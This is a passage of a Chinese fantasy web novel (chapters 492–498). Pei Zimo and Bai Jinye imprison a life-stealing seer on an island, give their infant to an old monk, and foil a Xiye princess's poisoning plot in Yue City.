从离开陆地到了海上开始,他就没有再预测未来了,因为这大海茫茫,没有人可以借命给他,若是不小心,寿命折损得太多,他自己也就要交代在这里了。 “姐,姐!”裴子衿大喊了一声,“你别把我送回遁世岛,我……我可以把我知道的都告诉你。” 裴子墨轻笑了一声,“你觉得,你身上真的有我想知道的事情么?” “跟我没关系,是娘,是有关娘的事情。”裴子衿赶紧道。 裴子墨皱了下眉,示意黑袍人停下,“你最好说的都是实话。” “娘早就已经不在了。”裴子衿咬了咬唇,“我也不知道她去哪了,也不知道她是活着还是死了,反正……她的东西都在,但是人早就不见了。府上没有人敢提起有关娘的事,我和哥其实也私下找过她,但是不敢声张,所以也没什么线索。” “爹也早就变了,我真的没办法再在遁世岛呆下去。姐,真的,求你了,不要让我回去,我一定老老实实的,再也不给你找麻烦了!” 第493章 他想把凌珞变成一只兔子 裴子墨垂眼沉思了片刻。 裴子衿看着她,见她思索,便觉得事情应该有转机,于是又轻声道,“姐,我说过了,我不会再跟你抢姐夫了,我上次其实是骗了你,是长老们非要让我嫁给凌锦枫,可我不想嫁给他,才骗着他跑出来的。” 裴子墨轻笑了一声,“所以就给凌锦枫下了药,让他来找我?” 裴子衿咬了咬唇,“不是的,是……是凌锦枫本来也……姐,可我知道你一定有办法对付他的。” 裴子墨叹了一口气,低头看着她,“你放心,我看你寿命未到,就算回到遁世岛,顶多受些皮肉之苦,不会危及性命。你回了遁世岛之后,可以想办法去探听娘的下落,将来只要你的信息有用,我就会帮你彻底地脱离遁世岛。” 裴子衿看着她没有说话。 “忘了告诉你,大长老现在也不在了。”裴子墨又道,“你帮我做好这件事,我就保证,不管将来遁世岛怎么样,绝对不牵连到你,如何?” 裴子衿眼底闪过一抹诧异,大长老这次出来之前,可是意气风发的,他若是也折在裴子墨的手里,那遁世岛在裴子墨的眼里,还剩下什么呢? “你不说话,我就当你答应了。”裴子墨说着对着黑袍人挥了挥手,黑袍人立刻抓着裴子衿的肩膀离开了。 等他们走远了,裴子墨的目光才落在萧尺寒的身上。 萧尺寒往后退了几步,警惕地看着她。 “事情有因有果,如果当年不是我觉得你以后可以帮上我,我大概也不会救你。你入了佛寺,若是一直在那里,也许可以慢慢化去你身上的戾气,可也是我把你带了出来。”裴子墨轻轻地叹了一口气,“若果你只是想要找我、找鬼卿报仇,我们也随时恭候,可是你已经伤及无辜,我也不能再放你离开了。” 萧尺寒转身想走,双脚却不停使唤,站在原地动也动不了。 “这处小岛,是很多年以前我找到的地方,用来度过余生,也不错。”裴子墨继续道,“你以后便留在这座岛上,不要再离开了。” 她的话音落下,白锦夜也抱着孩子从茅草屋里走出来。 萧尺寒眯眼看着他们,所以他所看到的,白锦夜和裴子墨兵刃相见,都是假的么? 不等他问出来什么,裴子墨便也解释了他的疑问,“很多年以前,你的几位先祖就因为预见了一些未来的片段,做出了错误的决定。你们的这个能力,好,但也不好。因为只是单纯的几个片段,没有前因没有后果,你根本没办法得知事情的全貌。” “上次我让你帮你预测未来,每预测一次,我都要卜上很多卦来做参考。不过……以后你一个人在这岛上,估摸着也不太会有人找过来,你大概也不需要用这能力了。” “就算我看到的事情是片面的,那你和凌锦枫的事呢?”萧尺寒开口问道,“只要是我看到了的事,就算只是一些片段,那也总该是真的吧?这孩子是谁的?是白锦夜的么?” 裴子墨轻轻叹了一口气,抬手一挥,一片幻象出现在几人身边,孩童嬉戏玩闹,大人树下闲聊,“这世上会制造幻象的,不只是你一个人。” “你故意的?”萧尺寒冷笑了一声,“你故意骗我?” 裴子墨摇了摇头,“我没有骗你,是你自己愿意上当。” 顿了顿,她又道,“本来你若是安稳生活,也还有五十几年的寿命,但如今……也就剩下不过十年,这剩下的时间,你若愿意悔改,将来到了地府,也许不用受太多罪罚。岛上你随处可去,只是不能离开,你好自为之吧。”说完她转头看了看白锦夜,两个人便一起往外走。 “裴子墨!”萧尺寒往前追了几步。 白锦夜皱了下眉头,抬手一挥,一道无形的力量打在萧尺寒的身上,他倒退了几步,便再也无法往前追半步。 到了海边,还有一艘船在,黑袍人来时乘的船刚刚被他驾走了,白锦夜来的时候,为了甩开黑袍人,是用了船上的小筏子,小筏子经不住海上的风浪,他还没到岛上,小筏子就已经碎了。 如今还剩下的这艘,便是萧尺寒刚刚和裴子衿来的时候乘的船。 白锦夜上船的时候,后面就跟了一群兔子。 他拧了拧眉,很想把这些兔子赶下去。 因为只要看到这些兔子,就是提醒了他,凌珞还在他的身体里。 他轻轻叹了一口气,低头看着这群兔子,心里甚至冒出来个恶毒的想法,他要把凌珞的魂魄分离出来,之后放到一只兔子身上。 既然这些兔子这么喜欢凌珞,以后就让他们永远在一起。 裴子墨上了船,轻轻皱了下眉头,“这船上还有人。” “嗯?”白锦夜赶紧走了过去,也感觉到了一丝微弱的气息。 不过这气息像是被阵法阻挡,所以也不是很强烈。 裴子墨进了船舱,找了半响,才在一个活动的隔板后面,找到了一个婴儿。 婴儿被施了术法,睡得很香,也没有发出来什么声音,看着样子,也不过几个月大。 她瞬间就明白了这孩子的身份,转头看向白锦夜,“应该是裴子衿和凌锦枫的孩子。” “刚才裴子衿不是说,不想嫁给凌锦枫么?按照她的性子,我还以为她不会生下这孩子。”白锦夜开口道。 “也许有什么缘由吧。”裴子墨眯了眯眼,“裴子衿的心思,凌锦枫未必不知道,可能在这胎儿的身上设了什么保护她的阵法,裴子衿没办法打掉孩子,也就只能生了下来。不过……她没有抛弃她,还带在身边,倒挺让人意外的。” 顿了顿,裴子墨又轻笑了一声,“可刚刚我要送她回遁世岛的时候,她丝毫没提起这孩子的事,想必也是有意把孩子留下来。” 白锦夜看了看自己怀里的孩子,“她是你妹妹,孩子的父亲又是我哥哥,她大概知道我们不会不管。” 第494章 如今只剩下你和鬼卿 船开了以后,白锦夜看着小岛越来越远,才开口道,“萧尺寒……不像是能老老实实地呆在岛上度过余生的人。” 裴子墨垂下眼,“他在这里,就再也没有办法从其他人多的身上借寿,起码不能再伤害无辜。但是……岛上还有活物,只要有活物就有寿命,也许他会做出什么其他的事情来。”她说着轻轻叹了口气,“我设下的困阵与戾气相连,如果他身上的戾气逐渐淡去,戾气消失的那天,困阵也就消失了。” “可他如果戾气越来越重,困阵便永远不会消失。我这也算给他留了路,以后如何,便全看他自己了。” * 两个人在海上漂了差不多一个月才到陆地。 本来是应该更快的,不过裴子墨却丝毫不着急。 白锦夜开始只是以为她单纯的想要在海上多看看,可是上了陆地,在看到老和尚的那一刻,想起裴子墨说的,孩子要给这老和尚做徒弟的话,瞬间就把怀里的孩子抱得更紧了。 老和尚笑眯眯地看着他们,又在他们周围打量了一圈,“诶呦,你们这一趟,可收获不小啊。”他说着嘬了嘬嘴,“不知道兔子肉好吃不?” “大师在这里等我们很久了?”裴子墨开口问道。 “不久,不久,也就两三个月。”老和尚继续笑着道,“反正这里好吃的东西也多,你们在海上闲逛的时候,我就把这里吃了个遍。”说完拿出来一沓欠条,递给白锦夜,“这些钱你会帮我付了的,是吧?” 白锦夜拧起眉头,给这老和尚付钱没问题,但是想着孩子才几个月,这老和尚就等在这打算收徒,心里多少有点不是滋味。 他抬手接过了欠条,老和尚却趁机探头往他怀里看来。 吓得白锦夜赶紧往后退了两步,“你要干什么?” “干什么?我看看我徒弟不行?”老和尚背着手,冷哼了一声。 白锦夜微微抿了抿唇,想了会,抬手指了指裴子墨怀里的孩子,“那个,那个是你徒弟。” 老和尚轻笑一声,“我说,你骗骗小孩子说不定还能骗得过去,想骗老和尚我?有点痴心妄想了吧?” 裴子墨看着白锦夜一脸舍不得的模样,忍不住笑了笑,才道,“大师,这孩子才两个多月,还在吃奶,不然等周岁之后,你再来收徒?” 老和尚摆了摆手,“老和尚我的徒弟需要什么吃奶?从小淬体,吸日月精华,等到周岁可就晚了。我这都给了你们这么长时间,不然刚出生我可就去带走了,不知道知足。” 裴子墨自然也舍不得立刻跟孩子分开,她沉默了半响,但也知道,如今孩子跟他们在一起,少不了颠沛流离,老和尚可以保护孩子,也可以带着他走一条完全不同的路。 他们背负的事情,她也不希望落在孩子身上,若是他从小就不知道,离开这一切,未免不是最好的。 轻轻叹了一口气之后,裴子墨抬眼看向白锦夜。 白锦夜自然也明白她的决定,便又低头看怀里的孩子,想多看几眼。 孩子也像是有什么感应一样,对着白锦夜笑了笑,又朝老和尚伸出手。 老和尚见状便上前几步,把孩子抱了过来,他动作急得,都像是抢了,抱在怀里看了半响,才问,“这孩子取名字了么?” 白锦夜点点头,“白……” “还没取啊,没事,回头我给取一个就是了。”老和尚瞬间打断了白锦夜的话,说完就抱着孩子要走,走了几步,又转头看过来,“那个,别忘了帮我还钱。” 老和尚的脚步极快,走了几步,人就消失了。 白锦夜看着前方的空地,半响后才转头看向裴子墨,“他这就把孩子抱走了?也不告诉我们他要去哪?那我们以后想看孩子的,去哪找他?” 裴子墨收回目光,“我们都不知道,不是才最安全么?” 白锦夜皱了下眉头,“大长老和九长老都已经被镇压了,国师现在也被你控制,还有什么可以威胁到孩子的安全?” 裴子墨沉默了一会,半响才道,“有些事,确实是可以到此为止。可是……我与地府的合作,无异于与虎谋皮,他们这么多年在帮我,但我答应他们的事还没办到。若是现在我就收手不做,地府那边就没办法交代,从此就要和他们交恶。只是假设都办完了之后,也不知道地府会不会过河拆桥,毕竟我已经知道他们太多的秘密了。” 白锦夜也轻轻叹了一口气,隔了会才问,“那这孩子怎么办?” 裴子墨看着怀里的孩子,多少也有些为难,“要么等国师回来的时候,让他再跑一趟遁世岛把孩子送回去,要么,我们帮他找个人家。” 白锦夜看着熟睡的孩子,“回遁世岛未必是好事,她既然没有在遁世岛出生,除了裴子衿大概也不会再有其他人知道她的存在,不如就不要再回遁世岛了。” “我也这么想。”裴子墨说着往前走,“只不过我看着孩子命里有个杀劫,若是在普通人家寄养,恐怕将来会给这家人带来灾难。” 白锦夜跟在她身边,“那先带回去再说吧,这种事也要看缘分。” 裴子墨点点头。 白锦夜去把老和尚的欠条一一还清,又买了辆马车,雇了车夫。 上了马车之后,裴子墨才开口问,“你是在哪里见到的鬼卿?我在这里的事,也是他跟你说的吧?” 白锦夜点点头,“他去了楚江颠那边,估计也是故意把我引过去的,我给他打开了去楚江颠的通路,他现在应该还在那。” 裴子墨垂下眼,隔了会才说,“不过你能说服他相信你,也不容易。” “是。”白锦夜轻笑了一声,“他一心求死,宁愿死也不肯说出你在那,就差让我把心剖出来给他看了。” 裴子墨的手轻轻握了一下,才从怀里拿出一个小盒子,“这里面,是这世上唯一一颗阳元丹,之前落在凌珞的手里,那时候这世上有你,有凌珞,有鬼卿三个冥尸,如今只剩下你和鬼卿……” “这本来就是给鬼卿的,你从头到尾,也都是想留给他,现在也不用问我。”白锦夜打断裴子墨的话开口道。 第495章 回月城 裴子墨轻轻点点头,“确实,这颗药,我从头到尾,都是想留给鬼卿的。” “他跟了我这么多年,从在乾坤殿开始,就从来都没有过属于他自己的生活。这颗药最开始拿到的时候,他没吃,也是因为那时候我术法低微,他怕自己恢复成常人之后,没办法帮我做更多的事。” “但是如今,这些担心都不存在了,我的术法基本恢复,你的封印也全都解开,孩子有那位大师照顾,我们已经没有太多的后顾之忧了。” “我想让鬼卿恢复成常人,以后去过自己的生活,也不用再一直为我考虑。” 白锦夜点点头,裴子墨主动让鬼卿离开,他确实求之不得。 虽然鬼卿不可能和裴子墨有什么其他的而关系,但是鬼卿对裴子墨的感情太浓重,无论是兄妹之情也好,或者是从乾坤殿带出来的忠诚都好,白锦夜都不太喜欢有这样一个男人的存在。 他知道这些年鬼卿所付出的东西,他也感谢鬼卿的付出,所以如果能够补偿鬼卿,无论是什么,他也愿意去做。 别说鬼卿,就算凌珞本身就是从他身上剥离出去的,他都不喜欢。 道理他都懂,但是他还是吃醋。 即便他可以不表现出来,可默默的吃醋,也是吃醋。 “这阳元丹,当年是凌幽给我的,凌幽说是他炼制的。”裴子墨眯了眯眼,“反正他的魂魄还在那阵法里,回头也可以想想办法问问他。假设他真的不肯说,但这东西只要有一个人能炼出来,其他人未必不能炼制出来。” “反正我们的时间多的是,以后找机会再想办法就是了。” 白锦夜轻轻皱了下眉头,隔了会才问,“你说当初是因为鬼卿身受重伤快死了,才把他炼制成了冥尸。我当时……是因为我命里有劫,但其实你也应该有别的办法帮我躲过那一劫,但你借机把我也炼成冥尸,多少还是因为……不相信我,是么?” 裴子墨转头看向马车外面,隔了好半响,才点点头,“那场大火之后,我就知道你会恨我。在遁世岛再见到你的时候,你什么都不记得了。其实一开始,我也想过躲开你。可我那时候要离开遁世岛,又需要有‘神冥公’一脉的帮忙。” “与其找别人帮忙,那还不如找你。说不定命运就是这么安排的,不然安排你去哪转世不好,偏偏也安排到遁世岛。去哪家不好,却偏偏到了‘神冥公’一脉。” “反正你都忘记了,我后来也就想办法把那些事都封印了。” “其实有一次你也隐约的察觉到了什么,所以你才要去看你的三生石。我也是没办法,跟你一起去了,在你看到那些事之前,打碎了你的三生石。” “那时候我就知道,你早晚会想起来,封印早晚会破除。虽然我已经多次加固封印,但是发生过的事情就是发生过,是抹不掉的,怎么样都没办法避免你会知道。” “我也就只能选择把你也炼成冥尸的这件事,加入到我的计划中,所以那时候即便我有别的办法帮你化劫,我也不会用的。” 白锦夜抬手握住她的手,“其实在乾坤殿的时候我也知道,我们早晚都可能走上对立,我觉得,对我来说,我死在你手里,总比你死在我手里,让我心里更好受一些。只是……那时候,我想不通孩子的事情。” 裴子墨转头看他,隔了会才轻轻叹了口气,“这么多年了,也不知道乾坤殿到底怎么样了。” “但如果按照你说的,怎么就会那么巧,我们都到了遁世岛,我又恰好是能帮你的人。而且你记得所有的事情,可我就全都忘了。”白锦夜继续道,“如果这些事是有人安排的,那又是谁安排的?” 裴子墨拿出袖袋里的簪子,“这根簪子,在我娘那,这簪子是乾坤殿的东西。也许找到我娘,知道这根簪子的来历,我们的疑问就能被解答了。” 白锦夜看着她手里的簪子,这簪子他虽然没见过,但是确实能感觉到熟悉的气息,“所以你让裴子衿回去找你娘,也是因为这个?” 裴子墨点点头,“我们如果回去找人,目标太大,让裴子衿先找找看。” 见裴子墨都有打算,白锦夜也就没再继续这个话题,“那我们现在去哪?” 裴子墨叹了口气,“天大地大,总感觉没有个真正的安身的地方。” “你有没有想过,等一切结束了,去哪?”白锦夜看着她问道。 裴子墨伸出手,感受着窗外的风,“我以前确实想过,我想假设我们还需要回乾坤殿,乾坤殿也总是需要有个人来主持大局,你若是恨我,那你就留在乾坤殿,我带着孩子,找一个小村子,就装作是普通人,摆个卦摊算算卦,赚的钱足够养活我和孩子就够了。” “但是现在……”她说着顿了顿,“你恐怕也不想回乾坤殿主持大局了,我摆摊算卦的钱,不见得还够养活你。” 白锦夜轻笑了一声,“之前在盛京,不是赚了挺多钱?” “那是在盛京,假如只去一个小村子,人没那么多,事情也没那么多,更没什么富豪,乡里乡亲的,也不好意思多收钱,收入自然就少了。”裴子墨转头看他,“眼下你还是天风国的肃亲王,多少有些收入,但如果将来天风国没有了,你也得想办法谋生呢。” “我还有些积蓄。”白锦夜轻咳了一声,“王府之前有个管家,有些做生意的头脑,回头让他多上上心,总饿不到你和孩子。” 裴子墨笑了笑,又沉默了片刻才说,“那我们去月城吧。” “好。”白锦夜点点头,跟车夫说了声,便往月城赶。 白风御登基之后,就把之前白砺寒和白玉衡瞎搞的事情全都恢复了原样,月城这边也重新划到白锦夜的名下,如今月城的守城将领,也依旧是白锦夜的人,所以对于白锦夜的到来,相当于满城欢庆,当晚便在军中设宴。 白锦夜和裴子墨赴宴,孩子便交给了下人照顾,不过他们带着个孩子过来的事,也早就传开,他们一进门,华擎等人便出声恭喜白锦夜“喜得贵女”。 第496章 西夜国公主 白锦夜犹豫了下,对这孩子并不是他和裴子墨的也没有解释,抬手牵着裴子墨的手便入了座。 他已经很久没来月城,对月城的事务也基本都不再过问。 这些人以前跟着白锦夜并肩作战,可以后当然也还希望能再跟着他。 起初白锦夜与他们把酒言欢,但是到后来,他情绪多少有些低落。 裴子墨自然明白他在想什么,这些人曾经跟他出生入死,如今也还在月城这里守着天风国的国土。 可是再要不了几年,就会有战事频发,最后眼前的这些人,大概都不会有太好的结局。 要么战死沙场,要么沦为阶下之囚。 若是白锦夜还能留下,与他们一起应敌,那无论是什么样的结局,他应该都能接受。 可是偏偏他没办法留下来,即便知道会发生什么,也不能去改变,这对他来说便更是折磨。 她在桌子下面,轻轻地握住他的手。 白锦夜转头看了看她,露出一丝勉强的微笑。 酒宴最终以华擎等人醉倒而结束。 白锦夜倒是没怎么醉,就拉着裴子墨的手,带着她在军营里转。 裴子墨也看出他的不舍,沉默了会,开口道,“其实也不是没有办法,我可以把你的一些记忆和术法封印,那样你就可以继续在月城做肃亲王,继续带着他们保家卫国。” 白锦夜闻言,转头看向裴子墨。 “但是大势已定,无论是谁来领导他们,都免不了最终的结局。如果没有你,对方军队里说不定也没有特别厉害的将领,但如果有你,说不定对方就会有一个军事天才横空出世,处处克制与你。” 裴子墨继续道,“即便是改变不了最终的结局,但起码你也可以跟他们一起并肩作战。” 白锦夜轻轻叹了一口气,“其实我在想,如果天风国的未来是注定没落,那有没有更好的办法来解决这件事,可以没有战事,可以平稳过渡。” 顿了顿,他又问,“虽然他们有些人的寿命也没办法延长,但是若是没有战事,也许是病死,起码也算是善终。” “那如果是你呢?你愿意毫不抵抗就放弃国土,还是宁愿一死以示决心?”裴子墨开口问道。 “如果是我,我自然选择后者。”白锦夜说着看向远处,“但是这些将士,也都是普普通通的人,也都有父母妻子。如果让我为他们选择,那既然明知道结局,我就不希望他们再做无谓的牺牲。” 裴子墨也叹了口气,看向远处。 “史书由胜利者书写,成王败寇,就算他们真的力战而死,将来也不见得能青史留名。”白锦夜又继续道,“想一想以前的每一世,其实我也有诸多遗憾,但是那些事都过去了,可眼前,我总感觉自己还能做点什么,应该做点什么。” 裴子墨正要说什么,却看到前面暗处有人影晃了一下,鬼鬼祟祟到地进了一处营帐。 白锦夜也看到了人影,两个人对视一眼,便走了过去。 他们躲在暗处,从灯影上也能看出,营帐里面是两个人,两个人说话的声音压低了不少,但他们也还是听得清楚。 “我已经叮嘱你了,不要乱跑,若是被我爹看见,我可护不住你了。”男子的声音率先传来,他的声音也不陌生,正是倪徵的儿子倪君羡。 “自从我来了这里之后,人人都称颂肃亲王,我只是……想要偷偷的看一眼而已。”女子略带委屈地道。 “我不管你是什么心思,总之老老实实地呆在你的营帐里。”倪君羡又道。 女子沉默了一会,才道,“我本来就是要到肃亲王身边伺候的,是你们不肯让我们到肃亲王面前献艺。我不信,肃亲王偌大的王府里面,完全没有舞姬和乐姬。你们说什么王爷王妃伉俪情深,他们既然伉俪情深,就会因为我们几个侍女受到影响了?” 她说完这些,语气又缓和了下来,从影子上看,往前走了几步,挽住倪君羡的胳膊,“倪小将军,你就圆了我这个梦,让我看一眼肃亲王好不好?我真的就只是想看看他,没有别的心思,再说,我早都已经是你的人……” 她说着又往前凑。 白锦夜拧了拧眉,迈步往前走,裴子墨也跟了上去。 掀开营帐门帘的时候,倪君羡和那女子已经倒在旁边的榻上,衣衫不整。 见到白锦夜进来,倪君羡赶紧起了身,连衣衫都来不及整理,当即跪在了地上,“王爷。” 女子因为倪君羡突然起身,跌坐在软塌上,她擦了擦嘴角,隔了会像是才反应过来什么,也跟着倪君羡跪在地上。 只不过她动作幅度微微大了点,衣襟又扯开了一片。 白锦夜拧着眉,看也没看那女子,目光只是落在倪君羡的身上,“君羡,本王若是没记错,你已经成亲了。” 倪君羡的脸色铁青,自然知道自己触犯了军规,白锦夜治军以严,不准军中养军妓,他与女子在军中做这种事,又被白锦夜当场抓住,会是什么样的下场,他此刻心中自然清楚,他低着头,也不敢抬头,“王爷,属下知错,自会领罚,只是……只是……” 他说着,也知道这话没脸说出口,纠结了半响后,才道,“只是能不能别让我爹知道?” 白锦夜捋了捋袖口,走到主位上坐下。 裴子墨的目光落在那女子身上,“姑娘姓和?” 女子怔了下,似乎是没想到到裴子墨会知道她的身份,不过既然已经被识破,她也就直接站了起来,看向白锦夜和裴子墨,“不错。” 裴子墨笑了笑,“和月如和和月薇是你姐姐?你叫什么?” “和月涵。”女子顿了顿又道,“不过她们可不是我姐姐,她们只是继后的养女。” “哦。”裴子墨点点头,“这么说,你是西夜国真正的公主了。” 倪君羡听到这,便知道自己所犯下的,已经不是一般的错了。西夜国的公主伺机接近他,想要接近白锦夜,目的是什么,已经很清楚了。 “不过……她虽然不是你的生母,但是看样子也教了你不少术法,不然怎么能把我们这位倪小将军迷得七荤八素的?”裴子墨笑道。 第497章 强弩之末 和月涵眯眼看着裴子墨,突然抬手抓住倪君羡的肩膀。 倪君羡想要挣脱,可平时看着柔柔弱弱的和月涵这会力道出奇得大,他的肩膀像是都快被她捏碎。 裴子墨没有说话,转身走到一边的椅子上坐下,想要给自己倒杯茶,可茶倒进杯子里,却闻到了一丝若有若无的异香,于是又把茶杯放了下来。 “早就听闻肃亲王妃非寻常人。”和月涵看着裴子墨继续道,“但不知道以一人之力可抵得过千军万马?” 裴子墨依旧没有理她,这毕竟是军营之内的事,白锦夜自然会处理,她帮他识别了和月涵的身份,要做的事就已经做完了。 白锦夜看向倪君羡,“君羡,这女子从何而来,一起来的有多少人,现在都在何处?” “此前西夜国曾有使者来访,求见王爷,王爷不在月城,是华将军和我爹接待了来访使者。他们想要向王爷示好,送来了百余奴隶,说这些人都是曾经从天风国掳走的人,现在送他们回来,也是为了表达西夜国示好的诚意。” “他们没有提出什么其他的要求,只是说等王爷到了月城,希望能把他们想与王爷见面的诉求转达。若这些人是西夜国的人,我爹他们肯定也不会收下,可这些人都是天风国的百姓,况且他们的诉求也没有多过分,我爹他们就答应了下来。” “之后也核实过这些人的身份,九成的人都能找到家人,身份完全没有问题。只剩下一成的人,本就出身青楼妓坊,又是在慌乱中被抓到西夜国,身份就没办法确认了。” 倪君羡说着话,肩头的力道也逐渐加重,他的脸色微白,额角也疼出细密的汗,但他也没有停下来,还是继续道,“这些人有男有女,就暂时留在了军中,帮忙做些杂事,但也绝对不会接触到军中要事。” “所以这百余人,都是为了隐藏你一个人的身份?”白锦夜这次才看向和月涵,轻笑了一声,“上次西夜国来犯,战败后割地赔款,看样子还是在伺机寻找翻盘的机会。” “呵。”和月涵轻笑了一声,“你们天风国的人太过狡诈,派过来一个王爷,利诱我们,我们押上了全国的大军,结果却陷入你们早就设置好的陷阱,是你们太无耻。” 白锦夜当然明白,她说的是白玉衡,可惜如今白玉衡早就去了地府,也没办法亲自跟和月涵解释,他当时其实是真心跟西夜国合作的。 他笑着摇了摇头,对此也不做什么解释,只是说,“你贵为西夜国公主,来此处至今,也没做什么伤天害理之事,过几日本王会派人把你送回西夜国。” 和月涵脸色一变,她要做的事,若是成功了,那她回国就是西夜国的英雄。 可她如今眼见着就是要失败了,现在被送回西夜国,就会给西夜国带来更大的灾难,一辈子都是西夜国的耻辱。 她垂眼看着倪君羡,“小将军,虽然我也不愿意这样做,但各为其主,你也不能怪我。这军里不少人,你、你爹、华擎、甚至你的妻子孩子,都中了我的毒,你若不想见到他们毒发身亡,就下令调兵……” “你做梦!”倪君羡从小腿处抽出匕首,转手就向和月涵刺去。 和月涵动也没动,他的胳膊在空气中就像是遇到了什么,随即一声清脆的骨裂声响起,倪君羡闷哼一声之后,他的胳膊就以一个寻常人无法做到的角度垂了下来。 裴子墨和白锦夜倒是看得清楚,是和月涵召唤的厉鬼所为。 不过倪君羡本就有错在身,也算是给他一个教训,所以两个人都没有出手阻拦。 裴子墨打了个哈欠,看向白锦夜,“我困了,早点解决早点回去睡觉吧。” 和月涵冷眼看着裴子墨,她知道裴子墨也会些术法,可她如今这态度,分明就是没有把她放在眼里。她抬手一挥,营帐里的温度骤然下降,几个厉鬼朝裴子墨扑过来。 裴子墨动也没动。 白锦夜抽出九殇,一道剑气扫过去,几个厉鬼当即魂飞魄散。 和月涵有些诧异地看向白锦夜,目光又落在他手里的九殇上,可还没反应过来什么,人就眼前一黑,晕了过去。 白锦夜这才站起身走过去,用九殇在和月涵的眉心处挑了一下。倒是没有多大的伤口,也只流了一点点血,不过她的术法,是彻底地被废了。 倪君羡手里的匕首之前落在了地上,这会他肩膀上的禁锢消失,便捡起了地上的匕首,“王爷,属下有负王爷信任,无颜苟活于世,只望王爷……” “这公主看着还是完璧之身,估摸着从头到尾,也没跟你发生什么。”裴子墨打断他的话,“她的目标可是你们王爷,所图甚大,又怎么会在你这付出太多?” 倪君羡愣了一下,又继续道,“即便如此,属下也还是曾被蛊惑。” 裴子墨没再说话,站起身,离开了营帐。 约摸一盏茶的时间之后,白锦夜才走出来,倪君羡跟在他身后,低着头,不过已经没了寻短见的想法。 白锦夜抬手握住裴子墨的手往回走,走了一段,他才问,“不想知道我跟他说了什么么?” “说什么有什么可重要的?”裴子墨笑了笑,“他本来对你就忠心,这一次便更会死心塌地了。” “西夜国还是蠢蠢欲动。”白锦夜叹了一口气。 “再蠢蠢欲动,也是强弩之末了。”裴子墨看向远处,目光微微沉了沉,没有说话。 白锦夜抿了下唇,像是想到了什么,他转头看了看裴子墨,犹豫了下,还是没有说出来。 第二日,白锦夜要回军营去处理和月涵和其他人的事情,裴子墨对这个不感兴趣,便说想去城外原来长明灯的那处寺庙看看,虽然之前应该是被大火烧了,但既然来了,又有时间,还是打算去拜祭一下那位和尚。 白锦夜本想让她等一等,他陪她一起去的,可裴子墨说如今这世上能伤到他们两个的人也不多,各自忙各自的事情就好了。 于是两个人一起骑马到了城门口,便分开,一个往军营,一个往城东。 第498章 过犹不及,顺其自然 与和月涵一起没找到家人、没法确认身份的人,也早有名单。 白锦夜到军营的时候,这些人已经被控制了起来,分别问询。 核查之下,除了和月涵之外,还有两女三男也本是西夜国的人,这一次是为了配合和月涵的行动。 但他们因为没有机会接触其他人,也没得到和月涵的指示,所以眼下还什么都没做。 白锦夜也就安排了人,把这六个人一起送回西夜国,并且向西夜国的国君询问西夜国的用意。 这一下,西夜国又免不了一大笔赔偿。 不过这件事对白锦夜来说,其实也算不上什么重要的事,和月涵的术法被废,以后掀不起什么风浪,别说是她,就是整个西夜国,都不会再掀起什么风浪了。 他也没有说破倪君羡的事,反倒把功劳放在了他身上,只说是倪君羡发现了异常,与西夜国公主和月涵争斗时,断了一臂。 听白锦夜这么说,倪君羡头都快低到了地上,他本就有错在身,白锦夜没有追究也没有说出来,他就已经很感激了,哪还承受得住这种功劳? 可白锦夜已经这样说了,他便也只能默认。 但心里也暗暗下了决定,这次所亏欠的,他早晚要找机会填补回来。 处理完之后,白锦夜才留下了华擎、倪徵等人,展开了地图。 “王爷,这是多好的机会,就应该以此为借口,再打西夜国一遍。”华擎开口道,上一次西夜国进犯西河城的时候,白锦夜就给了他们命令,让他们到西河城支援。 那一仗也没打得多痛快,本来他们绝对可以直接打到西夜国皇城下的,后来收到命令,说准备谈和了。 如今这么好的机会送上门,白锦夜却又不用。 华擎感觉白锦夜成亲之后,就没有以前那么好战了。 可王妃看着,也不像是善茬啊。 白锦夜摇了摇头,隔了会才拿着笔在西夜国以西画下了一片,“你们知道这是哪里?” 华擎几人面面相觑,半响后,倪徵才开了口,“以前听西夜国的人说过,他们以西是不毛之地,那里以游牧民族居多,是一些部落,好像没什么国家。” “以前是没有,但是以后呢?有人的地方,终究就会有权力的纷争。”白锦夜开口道,“这里以后可能会……”他沉默了一会,他其实心里清楚,这话他本不应该说,犹豫了半响后,才继续道,“留着西夜国,西夜国就会成为我们的一道屏障,一旦西夜国与他们开战,也许会向我们求援。” “到时候你们不要拒绝他们,更不用向朝廷请示,只说是本王如今留下的命令,出兵援助即可。一定不要犹豫,不要错过最好的时机。” 白锦夜说完,又抬头看向众人,“那也不知道是什么时候,也许是几年以后,也许是更加往后的时间,可能那时华将军和倪将军都已经不在了,到了你们这些年轻的将军接替他们的时候,但也别忘了本王今日说过的话。” 华擎和倪徵对视了一眼,白锦夜如今说的话,虽然都像是假设,可按照他的性格,是绝对不会说出没有把握的事情。 联想起王妃之前所表现出来的能力,他们隐隐的猜测,也许王妃能预知未来。 她可能已经知道了什么,但是又没办法把事情说的太明白,不过王爷如今这样说,便已经是在提前部署了。 “王爷放心,我等自当谨记。”华擎率先回应后,其余人等也立刻表态。 白锦夜垂眼看着地图,没再说话。 顿了顿,倪徵才问,“王爷,那是不是派探子过去,关注此处?” 白锦夜摇了摇头,“过犹不及,顺其自然就好。” 倪徵点了点头,“王爷不必太担忧,如今皇上圣明,又有王爷坐镇,他国未必敢再犯我朝。” 白锦夜没再说话,挥了挥手,示意众人离开。 出了白锦夜的营帐之后,华擎和倪徵两个人遣散了众人回了自己的营帐。 倪徵摸了摸腰间的佩剑,才道,“王爷此前便不怎么过问军中之事了,今日这样说,怕是很快还会离开月城。” 华擎点点头,“也不知如今王爷都在做什么事,朝中之事像是也不管了。” 两个人相对沉默,隔了很久,华擎想起什么,又问,“好像也很久没有左辞和司空他们的消息了。” “之前,我有亲戚从盛京前来投奔,也说肃亲王府那边……基本上主子都不在。”倪徵叹了口气,想了会才说,“枯尸的那次,王爷与王妃进了鬼王沙漠,从那次开始……” “王妃不是普通人,怕是也带着王爷走上了不同的路吧。”华擎也叹了口气,但很快又道,“不过只要王爷过得好,其他的何必管那么多?王爷以前过得那么苦,如今苦尽甘来,我们该替他开心才是。就算以后都不能跟着王爷,可王爷不也还是在为咱们着想么?不管王爷去哪,也都还是会记挂着我们,记挂着月城,那就足够了。” 倪徵点点头,“那我们也不能让王爷太过操心。” * 裴子墨到了那处寺庙外面的时候,却遇到了一个意想不到的人——陆绝。 他站在寺庙被烧毁的门口,像是已经来了许久。 裴子墨当初和白锦夜离开的时候,整个寺庙才刚刚起火。 现在来看,这整个寺庙都在大火里毁于一旦,只是隐隐的能看出来原来的格局而已。 